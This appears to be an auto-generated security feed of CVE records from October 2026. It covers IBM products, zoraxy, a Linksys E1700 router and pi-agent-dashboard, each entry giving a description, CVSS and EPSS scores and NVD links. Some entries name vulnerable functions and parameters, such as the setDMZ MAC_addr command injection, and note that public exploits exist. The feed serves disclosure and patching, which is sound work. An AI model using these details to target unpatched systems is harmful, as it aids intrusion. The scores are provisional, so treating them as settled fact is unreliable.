FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-75095&date=2026-10-25
IBM Aspera Enterprise WebApps 1.0.0 through 1.0.6 could allow a remote attacker to cause a denial of service due to uncontrolled resource consumption.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### IBM Aspera Enterprise WebApps 1.0.0 through 1.0.6 could allow a local attacker to gain elevated privileges due to a misconfigured PATH environment variable.
https://kevwire.com/record/CVE-2026-75782
IBM Aspera Enterprise WebApps 1.0.0 through 1.0.6 could allow a local attacker to gain elevated privileges due to a misconfigured PATH environment variable. (Oct 12, 2026).
IBM Aspera Enterprise WebApps 1.0.0 through 1.0.6 could allow a local attacker to gain elevated privileges due to a misconfigured PATH environment variable.
CVSS 7.8 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-75782).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-75782&date=2026-10-25).
Sources:
NVD CVE-2026-75782: https://nvd.nist.gov/vuln/detail/CVE-2026-75782
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-75782&date=2026-10-25
IBM Aspera Enterprise WebApps 1.0.0 through 1.0.6 could allow a local attacker to gain elevated privileges due to a misconfigured PATH environment variable.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### IBM Maximo Application Suite - IoT Component 9.2.0, 9.1.0, and 9.0.0 could allow a remote attacker to cause a denial of service due to an infinite parsing loop when processing...
https://kevwire.com/record/CVE-2026-75881
IBM Maximo Application Suite - IoT Component 9.2.0, 9.1.0, and 9.0.0 could allow a remote attacker to cause a denial of service due to an infinite parsing loop when processing... (Oct 12, 2026).
IBM Maximo Application Suite - IoT Component 9.2.0, 9.1.0, and 9.0.0 could allow a remote attacker to cause a denial of service due to an infinite parsing loop when processing certain inputs.
CVSS 7.5 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-75881).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-75881&date=2026-10-25).
Sources:
NVD CVE-2026-75881: https://nvd.nist.gov/vuln/detail/CVE-2026-75881
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-75881&date=2026-10-25
IBM Maximo Application Suite - IoT Component 9.2.0, 9.1.0, and 9.0.0 could allow a remote attacker to cause a denial of service due to an infinite parsing loop when processing certain inputs.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### IBM Maximo AI Service 9.1.0, and 9.2.0 could allow a remote attacker to cause a denial of service due to improper input validation.
https://kevwire.com/record/CVE-2026-78673
IBM Maximo AI Service 9.1.0, and 9.2.0 could allow a remote attacker to cause a denial of service due to improper input validation. (Oct 12, 2026).
IBM Maximo AI Service 9.1.0, and 9.2.0 could allow a remote attacker to cause a denial of service due to improper input validation.
CVSS 7.5 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-78673).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-78673&date=2026-10-25).
Sources:
NVD CVE-2026-78673: https://nvd.nist.gov/vuln/detail/CVE-2026-78673
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-78673&date=2026-10-25
IBM Maximo AI Service 9.1.0, and 9.2.0 could allow a remote attacker to cause a denial of service due to improper input validation.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### IBM Maximo AI Service 9.1.0, and 9.2.0 could allow a remote attacker to cause a denial of service due to uncontrolled resource consumption.
https://kevwire.com/record/CVE-2026-90911
IBM Maximo AI Service 9.1.0, and 9.2.0 could allow a remote attacker to cause a denial of service due to uncontrolled resource consumption. (Oct 12, 2026).
IBM Maximo AI Service 9.1.0, and 9.2.0 could allow a remote attacker to cause a denial of service due to uncontrolled resource consumption.
CVSS 7.5 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-90911).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-90911&date=2026-10-25).
Sources:
NVD CVE-2026-90911: https://nvd.nist.gov/vuln/detail/CVE-2026-90911
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-90911&date=2026-10-25
IBM Maximo AI Service 9.1.0, and 9.2.0 could allow a remote attacker to cause a denial of service due to uncontrolled resource consumption.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### IBM Maximo AI Service 9.1.0, and 9.2.0 SaaS could allow a remote attacker to cause a denial of service due to uncontrolled recursion.
https://kevwire.com/record/CVE-2026-90912
IBM Maximo AI Service 9.1.0, and 9.2.0 SaaS could allow a remote attacker to cause a denial of service due to uncontrolled recursion. (Oct 12, 2026).
IBM Maximo AI Service 9.1.0, and 9.2.0 SaaS could allow a remote attacker to cause a denial of service due to uncontrolled recursion.
CVSS 7.5 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-90912).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-90912&date=2026-10-25).
Sources:
NVD CVE-2026-90912: https://nvd.nist.gov/vuln/detail/CVE-2026-90912
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-90912&date=2026-10-25
IBM Maximo AI Service 9.1.0, and 9.2.0 SaaS could allow a remote attacker to cause a denial of service due to uncontrolled recursion.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### IBM Maximo AI Service 9.1.0, and 9.2.0 could allow a remote attacker to execute arbitrary code due to improper control of code generation.
https://kevwire.com/record/CVE-2026-90920
IBM Maximo AI Service 9.1.0, and 9.2.0 could allow a remote attacker to execute arbitrary code due to improper control of code generation. (Oct 12, 2026).
IBM Maximo AI Service 9.1.0, and 9.2.0 could allow a remote attacker to execute arbitrary code due to improper control of code generation.
CVSS 9.8 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-90920).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-90920&date=2026-10-25).
Sources:
NVD CVE-2026-90920: https://nvd.nist.gov/vuln/detail/CVE-2026-90920
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-90920&date=2026-10-25
IBM Maximo AI Service 9.1.0, and 9.2.0 could allow a remote attacker to execute arbitrary code due to improper control of code generation.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### IBM Maximo AI Service 9.1.0, and 9.2.0 could allow a remote attacker to cause a denial of service due to improper handling of malformed frames, resulting in termination of the...
https://kevwire.com/record/CVE-2026-90921
IBM Maximo AI Service 9.1.0, and 9.2.0 could allow a remote attacker to cause a denial of service due to improper handling of malformed frames, resulting in termination of the... (Oct 12, 2026).
IBM Maximo AI Service 9.1.0, and 9.2.0 could allow a remote attacker to cause a denial of service due to improper handling of malformed frames, resulting in termination of the host process.
CVSS 7.5 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-90921).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-90921&date=2026-10-25).
Sources:
NVD CVE-2026-90921: https://nvd.nist.gov/vuln/detail/CVE-2026-90921
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-90921&date=2026-10-25
IBM Maximo AI Service 9.1.0, and 9.2.0 could allow a remote attacker to cause a denial of service due to improper handling of malformed frames, resulting in termination of the host process.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### IBM TRIRIGA Application Platform 5.0.0 through 5.0.8 could allow a remote authenticated attacker to obtain sensitive information due to an XML external entity (XXE) injection flaw.
https://kevwire.com/record/CVE-2026-93891
IBM TRIRIGA Application Platform 5.0.0 through 5.0.8 could allow a remote authenticated attacker to obtain sensitive information due to an XML external entity (XXE) injection flaw. (Oct 12, 2026).
IBM TRIRIGA Application Platform 5.0.0 through 5.0.8 could allow a remote authenticated attacker to obtain sensitive information due to an XML external entity (XXE) injection flaw.
CVSS 7.6 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-93891).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-93891&date=2026-10-25).
Sources:
NVD CVE-2026-93891: https://nvd.nist.gov/vuln/detail/CVE-2026-93891
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-93891&date=2026-10-25
IBM TRIRIGA Application Platform 5.0.0 through 5.0.8 could allow a remote authenticated attacker to obtain sensitive information due to an XML external entity (XXE) injection flaw.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### IBM TRIRIGA Application Platform 5.0.0 through 5.0.8 could allow a remote authenticated attacker to obtain sensitive information due to exposure of session tokens in the HTML...
https://kevwire.com/record/CVE-2026-93892
IBM TRIRIGA Application Platform 5.0.0 through 5.0.8 could allow a remote authenticated attacker to obtain sensitive information due to exposure of session tokens in the HTML... (Oct 12, 2026).
IBM TRIRIGA Application Platform 5.0.0 through 5.0.8 could allow a remote authenticated attacker to obtain sensitive information due to exposure of session tokens in the HTML response.
CVSS 8.1 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-93892).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-93892&date=2026-10-25).
Sources:
NVD CVE-2026-93892: https://nvd.nist.gov/vuln/detail/CVE-2026-93892
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-93892&date=2026-10-25
IBM TRIRIGA Application Platform 5.0.0 through 5.0.8 could allow a remote authenticated attacker to obtain sensitive information due to exposure of session tokens in the HTML response.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### IBM Db2 Mirror for i 7.4, 7.5, and 7.6 is vulnerable to privilege escalation.
https://kevwire.com/record/CVE-2026-96012
IBM Db2 Mirror for i 7.4, 7.5, and 7.6 is vulnerable to privilege escalation. (Oct 12, 2026).
IBM Db2 Mirror for i 7.4, 7.5, and 7.6 is vulnerable to privilege escalation. An authenticated attacker could craft a malicious request that bypasses additional authorization and input validation checks to execute malicious code. An attacker could exploit this vulnerability to obtain elevated privileges on the system.
CVSS 9.9 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96012).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96012&date=2026-10-25).
Sources:
NVD CVE-2026-96012: https://nvd.nist.gov/vuln/detail/CVE-2026-96012
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96012&date=2026-10-25
IBM Db2 Mirror for i 7.4, 7.5, and 7.6 is vulnerable to privilege escalation. An authenticated attacker could craft a malicious request that bypasses additional authorization and input validation checks to execute malicious code. An attacker could exploit this vulnerability to obtain elevated privileges on the system.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### IBM Power Systems Firmware FW1060.00 through FW1060.81 is affected by a vulnerability in host firmware configuration parsing.
https://kevwire.com/record/CVE-2026-96261
IBM Power Systems Firmware FW1060.00 through FW1060.81 is affected by a vulnerability in host firmware configuration parsing. (Oct 12, 2026).
IBM Power Systems Firmware FW1060.00 through FW1060.81 is affected by a vulnerability in host firmware configuration parsing. An attacker with authenticated service-level access to the service processor can write specially crafted configuration data, causing the host firmware boot stack to crash with possible memory corruption during system initialisation, resulting in an integrity and availability impact to the managed system.
CVSS 7.3 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96261).
EPSS <0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96261&date=2026-10-25).
Sources:
NVD CVE-2026-96261: https://nvd.nist.gov/vuln/detail/CVE-2026-96261
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96261&date=2026-10-25
IBM Power Systems Firmware FW1060.00 through FW1060.81 is affected by a vulnerability in host firmware configuration parsing. An attacker with authenticated service-level access to the service processor can write specially crafted configuration data, causing the host firmware boot stack to crash with possible memory corruption during system initialisation, resulting in an integrity and availability impact to the managed system.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### IBM Power Systems Firmware FW1060.00 through FW1060.81 is affected by a vulnerability in the service processor mailbox interface.
https://kevwire.com/record/CVE-2026-96262
IBM Power Systems Firmware FW1060.00 through FW1060.81 is affected by a vulnerability in the service processor mailbox interface. (Oct 12, 2026).
IBM Power Systems Firmware FW1060.00 through FW1060.81 is affected by a vulnerability in the service processor mailbox interface. An attacker with authenticated service-level access to the FSP can send a specially crafted mailbox message to overflow host firmware runtime attribute storage, allowing arbitrary code to be executed in the host firmware runtime. This gives the attacker full access to the managed system's memory and hardware interfaces, resulting in a confidentiality, integrity, and availability impact to the managed system.
CVSS 8.2 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96262).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96262&date=2026-10-25).
Sources:
NVD CVE-2026-96262: https://nvd.nist.gov/vuln/detail/CVE-2026-96262
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96262&date=2026-10-25
IBM Power Systems Firmware FW1060.00 through FW1060.81 is affected by a vulnerability in the service processor mailbox interface. An attacker with authenticated service-level access to the FSP can send a specially crafted mailbox message to overflow host firmware runtime attribute storage, allowing arbitrary code to be executed in the host firmware runtime. This gives the attacker full access to the managed system's memory and hardware interfaces, resulting in a confidentiality, integrity, and availability impact to the managed system.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### IBM Power Systems Firmware FW1120.00 through FW1120.01, FW1110.00 through FW1110.31, and FW1060.00 through FW1060.81 is affected by a vulnerability in the host firmware boot...
https://kevwire.com/record/CVE-2026-96263
IBM Power Systems Firmware FW1120.00 through FW1120.01, FW1110.00 through FW1110.31, and FW1060.00 through FW1060.81 is affected by a vulnerability in the host firmware boot... (Oct 12, 2026).
IBM Power Systems Firmware FW1120.00 through FW1120.01, FW1110.00 through FW1110.31, and FW1060.00 through FW1060.81 is affected by a vulnerability in the host firmware boot process image validation path. An attacker with service access to the service processor can supply a maliciously crafted code update image, allowing arbitrary code to be executed on the host system. Successful exploitation could result in a confidentiality, integrity, and availability impact to the affected host system.
CVSS 8.2 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96263).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96263&date=2026-10-25).
Sources:
NVD CVE-2026-96263: https://nvd.nist.gov/vuln/detail/CVE-2026-96263
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96263&date=2026-10-25
IBM Power Systems Firmware FW1120.00 through FW1120.01, FW1110.00 through FW1110.31, and FW1060.00 through FW1060.81 is affected by a vulnerability in the host firmware boot process image validation path. An attacker with service access to the service processor can supply a maliciously crafted code update image, allowing arbitrary code to be executed on the host system. Successful exploitation could result in a confidentiality, integrity, and availability impact to the affected host system.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### IBM Power Systems Firmware FW1060.00 through FW1060.81  is affected by a vulnerability in the service processor mailbox interface.
https://kevwire.com/record/CVE-2026-96264
IBM Power Systems Firmware FW1060.00 through FW1060.81  is affected by a vulnerability in the service processor mailbox interface. (Oct 12, 2026).
IBM Power Systems Firmware FW1060.00 through FW1060.81  is affected by a vulnerability in the service processor mailbox interface. An attacker with authenticated service-level access to the FSP can send a specially crafted mailbox message to overflow host firmware runtime attribute storage, allowing arbitrary code to be executed in the host firmware runtime. This gives the attacker full access to the managed system's memory and hardware interfaces, resulting in a confidentiality, integrity, and availability impact to the managed system.
CVSS 8.2 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96264).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96264&date=2026-10-25).
Sources:
NVD CVE-2026-96264: https://nvd.nist.gov/vuln/detail/CVE-2026-96264
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96264&date=2026-10-25
IBM Power Systems Firmware FW1060.00 through FW1060.81  is affected by a vulnerability in the service processor mailbox interface. An attacker with authenticated service-level access to the FSP can send a specially crafted mailbox message to overflow host firmware runtime attribute storage, allowing arbitrary code to be executed in the host firmware runtime. This gives the attacker full access to the managed system's memory and hardware interfaces, resulting in a confidentiality, integrity, and availability impact to the managed system.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### IBM Power Systems Firmware FW1060.00 through FW1060.81 is affected by a vulnerability in the service processor mailbox interface.
https://kevwire.com/record/CVE-2026-96265
IBM Power Systems Firmware FW1060.00 through FW1060.81 is affected by a vulnerability in the service processor mailbox interface. (Oct 12, 2026).
IBM Power Systems Firmware FW1060.00 through FW1060.81 is affected by a vulnerability in the service processor mailbox interface. An attacker with authenticated service-level access to the FSP can send a specially crafted mailbox message to read or modify arbitrary regions of Hostboot memory, compromising the host firmware boot stack and the hypervisor subsequently loaded by it. Successful exploitation results in a confidentiality, integrity, and availability impact to the managed system.
CVSS 8.2 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96265).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96265&date=2026-10-25).
Sources:
NVD CVE-2026-96265: https://nvd.nist.gov/vuln/detail/CVE-2026-96265
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96265&date=2026-10-25
IBM Power Systems Firmware FW1060.00 through FW1060.81 is affected by a vulnerability in the service processor mailbox interface. An attacker with authenticated service-level access to the FSP can send a specially crafted mailbox message to read or modify arbitrary regions of Hostboot memory, compromising the host firmware boot stack and the hypervisor subsequently loaded by it. Successful exploitation results in a confidentiality, integrity, and availability impact to the managed system.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### IBM Power Systems Firmware FW1060.00 through FW1060.81 is affected by a vulnerability in host firmware configuration parsing.
https://kevwire.com/record/CVE-2026-96266
IBM Power Systems Firmware FW1060.00 through FW1060.81 is affected by a vulnerability in host firmware configuration parsing. (Oct 12, 2026).
IBM Power Systems Firmware FW1060.00 through FW1060.81 is affected by a vulnerability in host firmware configuration parsing. An attacker with authenticated service-level access to the FSP can write specially crafted configuration data to cause memory corruption in the host firmware boot stage during system IPL, compromising the host firmware boot stack and the hypervisor subsequently loaded by it. Successful exploitation results in a confidentiality, integrity, and availability impact to the managed system.
CVSS 8.2 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96266).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96266&date=2026-10-25).
Sources:
NVD CVE-2026-96266: https://nvd.nist.gov/vuln/detail/CVE-2026-96266
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96266&date=2026-10-25
IBM Power Systems Firmware FW1060.00 through FW1060.81 is affected by a vulnerability in host firmware configuration parsing. An attacker with authenticated service-level access to the FSP can write specially crafted configuration data to cause memory corruption in the host firmware boot stage during system IPL, compromising the host firmware boot stack and the hypervisor subsequently loaded by it. Successful exploitation results in a confidentiality, integrity, and availability impact to the managed system.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw has been found in tobychui zoraxy up to 3.3.4. This impacts the function handleBasicAuth of the file mod/dynamicproxy/authProviders.go of the component Path Exception...
https://kevwire.com/record/CVE-2026-108899
A flaw has been found in tobychui zoraxy up to 3.3.4. This impacts the function handleBasicAuth of the file mod/dynamicproxy/authProviders.go of the component Path Exception... (Oct 12, 2026).
A flaw has been found in tobychui zoraxy up to 3.3.4. This impacts the function handleBasicAuth of the file mod/dynamicproxy/authProviders.go of the component Path Exception Matcher. This manipulation of the argument PathPrefix causes improper authorization. It is possible to initiate the attack remotely. The exploit has been published and may be used. Upgrading to version 3.3.5-rc1 will fix this issue. Patch name: 37cd0f27b17cd15cfa4af409bfec943146f5fdfe. Upgrading the affected component is advised.
CVSS 5.5 (version 4.0; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108899).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108899&date=2026-10-25).
Sources:
NVD CVE-2026-108899: https://nvd.nist.gov/vuln/detail/CVE-2026-108899
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108899&date=2026-10-25
A flaw has been found in tobychui zoraxy up to 3.3.4. This impacts the function handleBasicAuth of the file mod/dynamicproxy/authProviders.go of the component Path Exception Matcher. This manipulation of the argument PathPrefix causes improper authorization. It is possible to initiate the attack remotely. The exploit has been published and may be used. Upgrading to version 3.3.5-rc1 will fix this issue. Patch name: 37cd0f27b17cd15cfa4af409bfec943146f5fdfe. Upgrading the affected component is advised.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A weakness has been identified in Linksys E1700 1.0.0.4.003. The affected element is the function setDMZ of the file /goform/setDMZ.
https://kevwire.com/record/CVE-2026-108895
A weakness has been identified in Linksys E1700 1.0.0.4.003. The affected element is the function setDMZ of the file /goform/setDMZ. (Oct 12, 2026).
A weakness has been identified in Linksys E1700 1.0.0.4.003. The affected element is the function setDMZ of the file /goform/setDMZ. Executing a manipulation of the argument MAC_addr can lead to os command injection. The attack can be executed remotely. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.
CVSS 8.6 (version 4.0; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108895).
EPSS 2.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108895&date=2026-10-25).
Sources:
NVD CVE-2026-108895: https://nvd.nist.gov/vuln/detail/CVE-2026-108895
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108895&date=2026-10-25
A weakness has been identified in Linksys E1700 1.0.0.4.003. The affected element is the function setDMZ of the file /goform/setDMZ. Executing a manipulation of the argument MAC_addr can lead to os command injection. The attack can be executed remotely. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability has been found in BlackBeltTechnology pi-agent-dashboard up to 0.8.0. Affected by this issue is the function terminalManager.spawn of the file...
https://kevwire.com/record/CVE-2026-108890
A vulnerability has been found in BlackBeltTechnology pi-agent-dashboard up to 0.8.0. Affected by this issue is the function terminalManager.spawn of the file... (Oct 12, 2026).
A vulnerability has been found in BlackBeltTechnology pi-agent-dashboard up to 0.8.0. Affected by this issue is the function terminalManager.spawn of the file packages/server/src/browser-handlers/terminal-handler.ts of the component Terminal Handler. The manipulation of the argument cwd leads to improper authorization. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier of the patch is 48fd0bad5adfe76af9736599699d51a5f60019f6. It is suggested to install a patch to address this issue. The vendor was contacted early, responded in a very professional manner and quickly released a fixed version of the affected product.
CVSS 2.1 (version 4.0; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108890).
